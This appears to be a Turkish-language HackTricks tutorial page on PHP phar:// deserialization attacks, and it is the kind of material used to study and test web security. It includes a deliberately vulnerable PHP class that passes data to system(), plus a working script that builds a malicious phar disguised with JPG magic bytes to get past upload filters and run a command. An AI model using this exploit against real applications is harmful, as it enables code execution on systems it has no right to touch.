hacktricks/pentesting-web/file-inclusion/phar-deserialization.md

5.3 KiB
Raw Blame History

phar:// deserialization

AWS hacklemeyi sıfırdan kahramana öğrenin htARTE (HackTricks AWS Red Team Expert) ile!

HackTricks'ı desteklemenin diğer yolları:

Ödül avı ipucu: Intigriti'ye kaydolun, hackerlar tarafından oluşturulan premium bir ödül avı platformu! Bugün bize katılın https://go.intigriti.com/hacktricks ve $100,000'a kadar ödüller kazanmaya başlayın!

{% embed url="https://go.intigriti.com/hacktricks" %}

Phar dosyaları (PHP Arşivi) serileştirilmiş biçimde meta veri içerir, bu nedenle ayrıştırıldığında bu meta veri serileştirilir ve PHP kodu içinde bir serileştirme zafiyetini kötüye kullanmaya çalışabilirsiniz.

Bu özelliğin en iyi yanı, bu serileştirme işleminin file_get_contents(), fopen(), file() veya file_exists(), md5_file(), filemtime() veya filesize() gibi PHP kodunu değerlendirmeyen PHP işlevlerini kullanarak bile gerçekleşecek olmasıdır.

Dolayısıyla, phar:// protokolünü kullanarak bir PHP web sitesinin bir dosyanın boyutunu almasını sağlayabileceğiniz bir durumu hayal edin ve kod içinde aşağıdaki gibi bir sınıf bulursunuz:

{% code title="vunl.php" %}

<?php
class AnyClass {
public $data = null;
public function __construct($data) {
$this->data = $data;
}

function __destruct() {
system($this->data);
}
}

filesize("phar://test.phar"); #The attacker can control this path

{% endcode %}

phar dosyası oluşturabilirsiniz ve yüklendiğinde bu sınıfı kötüye kullanarak şöyle bir şey yapabilirsiniz:

{% code title="create_phar.php" %}

<?php

class AnyClass {
public $data = null;
public function __construct($data) {
$this->data = $data;
}

function __destruct() {
system($this->data);
}
}

// create new Phar
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub("\xff\xd8\xff\n<?php __HALT_COMPILER(); ?>");

// add object of any class as meta data
$object = new AnyClass('whoami');
$phar->setMetadata($object);
$phar->stopBuffering();

{% endcode %}

Not alınan dosyanın başına JPG'nin sihirli baytları (\xff\xd8\xff) eklenerek mümkün olabilecek dosya yükleme kısıtlamaları atlatılır.
test.phar dosyasını şu şekilde derleyin:

php --define phar.readonly=0 create_phar.php

Ve whoami komutunu kötü niyetli kodu istismar ederek çalıştırın:

php vuln.php

Referanslar

{% embed url="https://blog.ripstech.com/2018/new-php-exploitation-technique/" %}

Hata ödülü ipucu: Intigriti'ye kaydolun, hackerlar tarafından oluşturulan bir premium hata ödülü platformu! Bugün bize katılın https://go.intigriti.com/hacktricks ve $100,000'a kadar ödüller kazanmaya başlayın!

{% embed url="https://go.intigriti.com/hacktricks" %}

Sıfırdan kahramana kadar AWS hackleme öğrenin htARTE (HackTricks AWS Red Team Expert)!

HackTricks'ı desteklemenin diğer yolları: